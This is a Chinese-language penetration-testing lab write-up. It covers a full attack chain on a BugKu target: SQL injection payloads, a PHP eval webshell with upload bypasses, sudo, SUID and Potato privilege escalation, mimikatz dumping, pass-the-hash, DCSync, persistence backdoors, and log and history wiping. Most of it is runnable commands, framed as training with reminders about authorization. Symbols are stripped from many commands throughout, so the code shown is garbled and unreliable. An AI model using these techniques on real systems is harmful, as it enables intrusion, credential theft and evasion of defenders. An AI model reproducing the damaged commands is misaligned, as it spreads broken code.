从Web渗透到内网提权:一次完整渗透测试实战全流程解析

发布时间:2026/8/1 6:09:47
从Web渗透到内网提权:一次完整渗透测试实战全流程解析 1. 项目概述一次完整的渗透测试实战复盘最近在BugKu平台上复现了一个综合性的渗透测试靶场从外部信息收集到最终的内网提权整个过程涉及了Web渗透、权限维持、横向移动等多个阶段。这不仅仅是一次CTF解题更是一个贴近真实渗透测试场景的演练。很多朋友在接触渗透测试时往往对单个漏洞的利用比较熟悉但缺乏将多个技术点串联起来、形成完整攻击链路的经验。这篇WriteUp的目的就是详细拆解这个从“零”到“内网提权”的完整过程把每一步的思路、踩过的坑和关键技巧都记录下来希望能给正在学习的朋友提供一个清晰的实战参考框架。这个靶场环境模拟了一个存在多处安全缺陷的企业应用攻击者从公开的Web服务入手逐步深入内网核心区域。整个过程会用到信息收集、漏洞扫描、Web漏洞利用、权限提升、内网探测、横向移动等核心技能。无论你是刚入门的新手还是想梳理自己知识体系的老手跟着这个流程走一遍都能对渗透测试的“全貌”有一个更深刻的理解。下面我们就从最初的侦察阶段开始。2. 靶场环境与前期信息收集在开始任何攻击之前充分的信息收集是成功的一半。盲目地使用工具扫描不仅效率低下还容易触发安全设备的告警。我们的目标是像真正的攻击者一样安静而高效地摸清目标的情况。2.1 目标锁定与基础信息探测首先我们需要明确目标。在BugKu这类平台通常会给出一个IP地址或域名。假设我们的目标是target.bugku.com。第一步使用最基本的命令来确认其存活状态和初步信息。ping target.bugku.com如果ping不通可能禁用了ICMP我们可以尝试使用nmap进行TCP ping扫描。nmap -sn target.bugku.com确认目标在线后接下来进行端口扫描这是信息收集的核心。我们不仅要扫描常见的80、443端口还要关注一些可能用于管理或后端服务的端口如21FTP、22SSH、3306MySQL、3389RDP等。nmap -sS -sV -O -p- -T4 target.bugku.com -oN nmap_initial.txt参数解释-sS: TCP SYN扫描一种半开放扫描相对隐蔽。-sV: 探测服务版本。-O: 尝试识别操作系统。-p-: 扫描所有65535个端口。-T4: 设置扫描速度0-5T4为较快速度在CTF环境可用。-oN: 将结果输出到文件。扫描结果可能显示开放了80端口HTTP和22端口SSH。Web服务往往是突破口。2.2 Web应用指纹识别与目录枚举针对80端口的Web服务我们首先用浏览器访问看看是什么应用。假设是一个登录页面。我们需要识别其使用的技术栈。浏览器开发者工具查看响应头寻找Server、X-Powered-By等字段可能泄露服务器类型如Apache/Nginx、后端语言PHP/ASP.NET和框架。Wappalyzer插件浏览器插件可快速识别网站使用的技术如CMSWordPress, Joomla、前端框架、JavaScript库等。命令行工具使用whatweb进行更详细的指纹识别。whatweb http://target.bugku.com假设识别出这是一个基于PHP的自定义应用。接下来我们需要寻找隐藏的目录和文件比如后台管理页面、配置文件、备份文件等。这里使用gobuster或dirsearch进行目录爆破。gobuster dir -u http://target.bugku.com -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak -t 50参数解释dir: 指定目录扫描模式。-u: 目标URL。-w: 指定字典文件。common.txt是一个常用字典。-x: 指定尝试的文件扩展名。bak是备份文件常见后缀。-t: 线程数。扫描结果可能发现了/admin、/login.php、/config.php.bak等关键路径。访问/config.php.bak可能会直接下载到一个备份的配置文件这里面极有可能包含数据库连接信息如数据库IP、用户名、密码。这是第一个关键点永远不要忽视备份文件。注意在实际渗透测试中目录爆破的字典选择和线程控制需要谨慎。过于激进的扫描可能被WAF封禁。可以先使用小字典、低线程进行试探。3. 漏洞挖掘与初始访问突破拿到初步信息后我们开始寻找具体的漏洞点目标是获得一个初始的立足点也就是常说的“拿到Shell”。3.1 SQL注入漏洞的发现与利用访问/login.php是一个登录框。常见的测试点包括万能密码尝试admin or 11等经典Payload。SQL注入在用户名和密码框尝试注入。使用Burp Suite拦截登录请求发送到Repeater模块进行测试。假设在用户名参数处发现存在SQL注入。我们使用sqlmap进行自动化验证和利用但在此之前理解手动测试过程很重要。手动测试步骤在Burp Repeater中修改username参数为admin观察返回。如果报错提示SQL语法错误则存在注入点。确认注入类型。尝试admin AND 11和admin AND 12。如果前者返回正常如“用户名错误”后者返回异常如直接报错或空白则很可能是字符型注入。确定字段数。使用ORDER BY子句递增测试admin ORDER BY 1--,ORDER BY 2--... 直到报错。假设ORDER BY 3时报错说明有2个字段。联合查询获取数据。构造Payloadadmin UNION SELECT 1,2--。查看页面回显位置数字1和2可能会在页面某处显示出来这里就是我们可以获取数据的位置。获取数据库信息。例如admin UNION SELECT version(), database()--可以分别获取数据库版本和当前数据库名。使用sqlmap自动化sqlmap -u http://target.bugku.com/login.php --datausernameadminpasswordtest --level3 --risk2 --batch如果注入成功我们可以尝试直接获取Webshell。通过--os-shell参数sqlmap会尝试上传一个用于执行命令的脚本。但这种方式成功率依赖于数据库权限和服务器配置。更常见的是我们通过注入点获取到管理员的账号密码哈希值然后破解或直接用于登录后台。假设我们通过UNION SELECT从用户表中获取到了管理员用户名admin和密码哈希5f4dcc3b5aa765d61d8327deb882cf99MD5。通过在线CMD5网站或本地破解得知明文密码是password。成功登录后台。3.2 文件上传漏洞与Getshell进入后台后寻找文件上传功能点如图片上传、附件上传、插件安装等。这是获取Webshell的经典途径。漏洞利用过程前端绕过有时上传限制仅由JavaScript实现。可以禁用浏览器JS或使用Burp拦截请求修改文件扩展名。后端绕过这是重点。常见的检查包括扩展名黑/白名单尝试上传.php,.php3,.php5,.phtml,.phps等。如果服务器解析.php5就可能成功。MIME类型检查拦截上传请求将Content-Type改为image/jpeg或image/png。文件内容检查检查文件头Magic Bytes。我们可以在PHP代码前添加GIF文件头GIF89a;制作图片马。二次渲染对于图片上传后服务器会进行压缩或裁剪的情况需要精心构造绕过。实操示例假设后台有一个“上传头像”功能只允许.jpg,.png,.gif。准备一个简单的PHP Webshell文件shell.php内容为?php eval($_POST[cmd]);?。使用Burp Suite拦截上传请求。将文件名改为shell.php.jpg双扩展名可能绕过简单的基于字符串匹配的检查。将Content-Type改为image/jpeg。放行请求。如果返回了文件路径如/uploads/shell.php.jpg直接访问可能被当作图片处理不解析PHP代码。这时需要结合文件包含漏洞Local File Inclusion, LFI。如果应用存在LFI我们可以通过包含这个上传的“图片马”来执行代码。假设我们发现URL参数中存在?pageabout.php尝试?page../../uploads/shell.php.jpg如果服务器配置不当如allow_url_include开启我们的PHP代码就会被执行。实操心得文件上传的绕过是组合拳。一个技巧不行就换另一个。务必准备一个功能强大的Webshell例如“蚁剑”或“冰蝎”的客户端脚本它们支持加密连接和多种代理更适合内网穿透。上传成功后立即用客户端连接测试命令执行whoami和ipconfig/ifconfig确认当前权限和网络环境。4. 权限提升从Web权限到系统权限通过Webshell我们通常以www-data(Linux) 或iis apppool\defaultapppool(Windows) 等低权限Web服务账户身份运行。这个权限非常有限无法读取敏感文件、安装软件或进行横向移动。因此提权Privilege Escalation是必须的一步。4.1 Linux系统提权方法论拿到一个Linux的Shell后我习惯按以下顺序进行信息收集和提权尝试第一步全面信息收集# 系统信息 uname -a cat /etc/issue cat /etc/*-release # 内核版本是提权的重要依据 # 用户和权限信息 id whoami sudo -l # 查看当前用户可以以root身份运行哪些命令这是最直接的提权路径 cat /etc/passwd cat /etc/shadow # 通常读不了但可以试试 # 进程和服务信息 ps aux ps -ef netstat -antup systemctl list-units --typeservice # 计划任务 crontab -l ls -la /etc/cron* # 查看系统计划任务目录 # SUID/SGID文件查找重点 find / -perm -us -type f 2/dev/null find / -perm -gs -type f 2/dev/null # 这些文件以文件所有者的权限运行如果所有者是root且程序存在漏洞就可能提权 # 可写文件查找 find / -writable -type d 2/dev/null # 可写目录 find / -perm -ow -type f 2/dev/null # 全局可写文件 # 环境变量 env echo $PATH第二步基于信息的针对性攻击sudo -l如果返回(ALL : ALL) ALL或允许运行某些编辑器如vim, nano、语言解释器如python, perl可以直接提权。例如sudo python -c import os; os.system(/bin/bash)SUID文件常见的危险SUID程序有find,vim,bash,cp,nmap旧版本等。例如发现/usr/bin/find有SUID位可以find . -exec /bin/bash -p \;来启动一个带特权-p的bash。可以使用https://gtfobins.github.io/这个网站查询特定命令的提权方法。内核漏洞如果内核版本较老存在公开的提权漏洞如DirtyCow, CVE-2021-4034等。使用uname -r获取内核版本然后搜索对应的Exploit。在本地编译好exp通过Webshell上传编译执行需确保有gcc。或者使用预编译的、跨平台的exp如linpeas.sh脚本它能自动检测多种提权路径。计划任务检查/etc/crontab和/var/spool/cron/crontabs/。如果有一个以root身份运行的定时任务调用了我们具有写入权限的脚本或二进制文件我们可以替换该文件来实现提权。环境变量劫持如果发现一个SUID程序调用了另一个相对路径的命令如system(ls)而我们可以控制PATH环境变量就可以劫持这个命令。在这个靶场中假设我们通过sudo -l发现当前用户可以以root身份无需密码运行/usr/bin/vi。那么提权就非常简单sudo vi /etc/passwd # 在vi命令模式下输入 :!bash 即可直接获得一个root shell。 # 或者更直接sudo vi -c !bash4.2 Windows系统提权思路Windows提权思路类似但工具和命令不同。信息收集命令systeminfo whoami /priv # 查看特权信息如SeImpersonatePrivilege土豆提权关键 net user net localgroup administrators netstat -ano tasklist /svc schtasks /query /fo LIST /v常见提权路径服务漏洞检查非微软服务、路径带空格且权限配置不当的服务。使用accesschk.exeSysInternals工具或PowerUp.ps1脚本来检查服务权限。AlwaysInstallElevated如果这两个注册表项均为1则任何MSI文件都以SYSTEM权限安装。reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated计划任务同Linux检查是否有高权限任务调用用户可修改的脚本。DLL劫持高权限程序运行时如果在其目录下放置一个恶意的同名DLL可能会被加载。令牌窃取与土豆家族提权如果当前用户具有SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege权限IIS、SQL Server等服务账户常具备可以利用一系列“土豆”漏洞进行提权如Rotten Potato、Juicy Potato、PrintSpoofer、Sweet Potato等。这是Windows上非常经典的提权方式。内核漏洞同样使用systeminfo查看系统版本和补丁寻找缺失的补丁对应的本地提权EXP。常用工具如Windows-Exploit-Suggester。假设在靶场中我们通过whoami /priv发现启用了SeImpersonatePrivilege那么可以上传一个JuicyPotato.exe或PrintSpoofer.exe的利用程序执行后直接获得SYSTEM权限的Shell。注意事项提权EXP的利用具有风险可能造成系统不稳定或崩溃。在生产环境测试中必须获得明确授权并在测试环境中充分验证。上传的提权工具可能会被杀毒软件查杀需要做免杀处理或使用替代方法。5. 内网渗透与横向移动获得目标服务器的系统权限尤其是Windows的域用户权限或Linux的root权限后我们的视野就从单台机器扩展到了整个内网。内网渗透的目标是发现更多资产、获取更核心的数据、控制更关键的机器如域控制器。5.1 内网信息收集与网络拓扑探测首先我们需要摸清自己在内网中的位置和周围环境。基础网络信息# Linux ifconfig / ip addr route -n # 查看路由表 cat /etc/resolv.conf # 查看DNS服务器可能是域控 # Windows ipconfig /all route print arp -a # ARP缓存表显示最近通信过的IP和MAC发现存活主机由于内网可能禁止ICMP我们需要使用TCP/UDP扫描。# 使用上传的nmap如果目标机有或使用脚本 # 简单for循环ping扫描Linux bash for i in {1..254}; do ping -c 1 -W 1 192.168.1.$i | grep from done # 更高效的方式是使用上传的轻量级工具或者利用已有环境编译。 # 常见的是上传一个静态编译的nmap或者使用PowerShell (Windows) 或 Python脚本。例如在Windows上可以执行一个简单的PowerShell脚本来扫描常见端口1..254 | % {echo 192.168.1.$_; Test-NetConnection -ComputerName 192.168.1.$_ -Port 445 -WarningAction SilentlyContinue -InformationLevel Quiet}端口445SMB是内网Windows主机发现和后续攻击的重要端口。收集凭证信息Linux查看/etc/passwd和/etc/shadow需root尝试破解哈希。检查用户家目录下的.bash_history,.ssh/目录。Windows重点内存中提取密码使用mimikatz需管理员权限。这是获取明文密码、票据的神器。privilege::debug sekurlsa::logonpasswordsSAM文件提取导出C:\Windows\System32\config\SAM和SYSTEM文件在本地用mimikatz或hashcat破解。查找敏感文件搜索*.txt,*.xls,*.doc,*.pdf,config,password等关键词。浏览器密码使用LaZagne等工具提取浏览器保存的密码。5.2 横向移动技术实战拿到一台内网机器的凭证用户名和密码/哈希后就可以尝试登录其他机器。利用SMB/WMI进行命令执行psexecSysInternals工具使用明文密码或哈希进行远程执行。psexec \\192.168.1.10 -u Administrator -p Password123 cmdwmic系统自带。wmic /node:192.168.1.10 /user:Administrator /password:Password123 process call create cmd.exe /c whoami C:\result.txtsmbexecImpacket工具套件中的脚本使用哈希认证。python smbexec.py domain/Administrator:Password123192.168.1.10CrackMapExec (CME)内网渗透瑞士军刀支持多种协议和攻击方式。crackmapexec smb 192.168.1.0/24 -u Administrator -p Password123 -x whoamiPass-the-Hash (PtH) 攻击在Windows网络中很多时候我们不需要破解出明文密码直接使用从内存或SAM中提取的NTLM哈希就可以进行身份验证访问其他资源。这就是哈希传递攻击。上述的psexec、wmiexecImpacket、CrackMapExec都支持PtH。票据传递攻击如果获取的是Kerberos票据Ticket可以使用mimikatz进行票据传递攻击。mimikatz # sekurlsa::tickets /export # 导出所有票据 mimikatz # kerberos::ptt [0;123456]-2-0-40e10000-Administratorkrbtgt-DOMAIN.LOCAL.kirbi # 注入票据注入后就可以直接访问该票据所允许访问的服务如域控的C盘共享。利用WinRM/SSH如果目标主机开启了WinRM5985/5986或SSH22可以直接使用凭证进行远程连接。WinRM:Enter-PSSession -ComputerName 192.168.1.10 -Credential (Get-Credential)SSH:ssh Administrator192.168.1.10在本次靶场中假设我们从第一台Web服务器192.168.1.100提权后通过信息收集发现了内网网段192.168.2.0/24并且用mimikatz抓取到了本地管理员账户的哈希。使用CrackMapExec对192.168.2.0/24进行SMB扫描和哈希传递攻击成功在192.168.2.50上执行命令发现它是一台域成员服务器。5.3 域渗透初步定位域控与获取域管权限当发现域环境时攻击就进入了新的阶段。目标是域控制器Domain Controller, DC和域管理员账户。定位域控# Windows nltest /dclist:domain.local net group Domain Controllers /domain # 或者直接解析域名 nslookup -typeSRV _ldap._tcp.dc._msdcs.domain.local # Linux (如果已加入域或能解析) dig _ldap._tcp.dc._msdcs.domain.local SRV获取域内信息net user /domain列出域用户。net group /domain列出域组。net group Domain Admins /domain查看域管理员成员。net group Enterprise Admins /domain查看企业管理员。使用BloodHound这类工具可以自动化分析域内的权限关系找出从当前用户到域管理员的最短攻击路径。攻击域控Kerberoasting攻击服务账户的SPN获取其票据进行离线破解。AS-REP Roasting攻击不需要预认证的账户。DCSync这是最致命的一招。如果一个账户被授予了Replicating Directory Changes权限通常域管理员具备就可以模拟域控进行数据同步直接导出域内所有用户的哈希。使用mimikatzmimikatz # lsadump::dcsync /domain:domain.local /user:Administrator获得域管理员的哈希后就可以用PtH攻击域控了。在靶场场景中我们可能通过横向移动到了某台域成员服务器利用该服务器上某个域用户的内存凭证通过DCSync攻击获取了域管理员的哈希最终成功控制域控制器。6. 权限维持与痕迹清理在取得阶段性成果后为了长期控制目标需要部署权限维持的后门。同时为了减少被发现的风险需要清理活动痕迹。6.1 常见的权限维持方法Web后门在Web目录下留下多个隐蔽的Webshell使用免杀技术、非常规文件名如..php、index.php.old或隐藏在图片、日志文件中。系统后门LinuxSSH公钥将攻击者的公钥写入目标~/.ssh/authorized_keys。Cron后门添加一个定时任务定期反弹Shell到攻击者服务器。SUID后门创建一个具有SUID位的自定义后门程序。PAM后门修改PAM认证模块高风险易被发现。Windows计划任务创建计划任务定期连接。服务后门创建一个自启动的恶意服务。WMI事件订阅一种无文件、隐蔽的持久化方式。注册表启动项HKLM\Software\Microsoft\Windows\CurrentVersion\Run。影子账户创建一个隐藏的管理员账户。域环境持久化黄金票据在获取krbtgt账户的哈希后可以伪造任意用户的TGT票据实现“万能钥匙”。白银票据伪造针对特定服务的ST票据。DSRM密码同步修改域控的目录服务还原模式密码用于本地登录。Skeleton Key向域控注入万能密码所有用户都可以用这个密码登录但原密码仍可用。6.2 痕迹清理要点清理痕迹需要谨慎过度清理本身可能成为异常行为。日志清理Linux清理/var/log/下的auth.log、secure、wtmp、btmp、lastlog等。使用shred或dd覆盖删除。Windows清理事件查看器中的安全日志、系统日志、应用程序日志。使用wevtutil命令或meterpreter的clearev模块。文件操作痕迹删除上传的工具、生成的输出文件。使用touch -tLinux或timestompMeterpreter修改文件时间戳使其与周围文件一致。历史命令清理Shell历史记录。Linux:history -c history -w或清空~/.bash_history文件。Windows PowerShell:Clear-History。网络连接退出所有建立的连接。如果是反弹Shell结束进程。重要提醒在授权的渗透测试中是否进行痕迹清理需严格遵守测试协议。通常蓝队防御方需要根据攻击痕迹来评估风险和加固系统。未经授权的痕迹清理属于违法行为。7. 总结与反思从WriteUp到实战的跨越完成整个靶场从外网打点到内网域控像走完了一个完整的攻击生命周期。但WriteUp是“事后诸葛亮”真正的实战充满了不确定性。有几点体会特别深刻第一信息收集的深度决定攻击面的广度。初期多花时间在端口、目录、子域名、员工邮箱的收集上往往能发现意想不到的薄弱点。一个暴露的测试环境、一个遗忘的备份文件、一个默认口令的管理后台都可能成为突破口。第二工具是手臂思路才是大脑。熟练掌握nmap,sqlmap,Burp Suite,mimikatz,CrackMapExec等工具是基础但更重要的是知道在什么场景下该用什么工具以及如何组合使用。遇到WAF拦截sqlmap时能否手工注入无法上传php时是否尝试过.htaccess解析思路的灵活性往往比工具的自动化更重要。第三提权是耐心和知识的结合。提权没有银弹。需要系统性地枚举信息对照已知的漏洞和错误配置去尝试。养成习惯一拿到Shell就运行像linpeas、winpeas或Seatbelt这样的自动化信息收集脚本能极大提高效率。第四内网渗透是“信息战”。拿到第一台内网机器的权限就像拿到了城堡大门的钥匙。后续的横向移动严重依赖于从这台机器上获取的凭证和网络信息。因此在跳板机上深入挖掘密码、票据、配置文件至关重要。最后永远保持学习。安全技术日新月异新的漏洞如Log4j、Spring4Shell、新的绕过手法、新的防御技术EDR、零信任不断涌现。这个靶场涵盖的是经典套路但现实中的网络环境更加复杂。只有不断学习新的攻击技术和防御理念才能在渗透测试这条路上走得更远。建议在掌握这些基础后多去尝试VulnHub、HackTheBox、PentesterLab上的其他靶机每一台都有不同的知识点等待挖掘。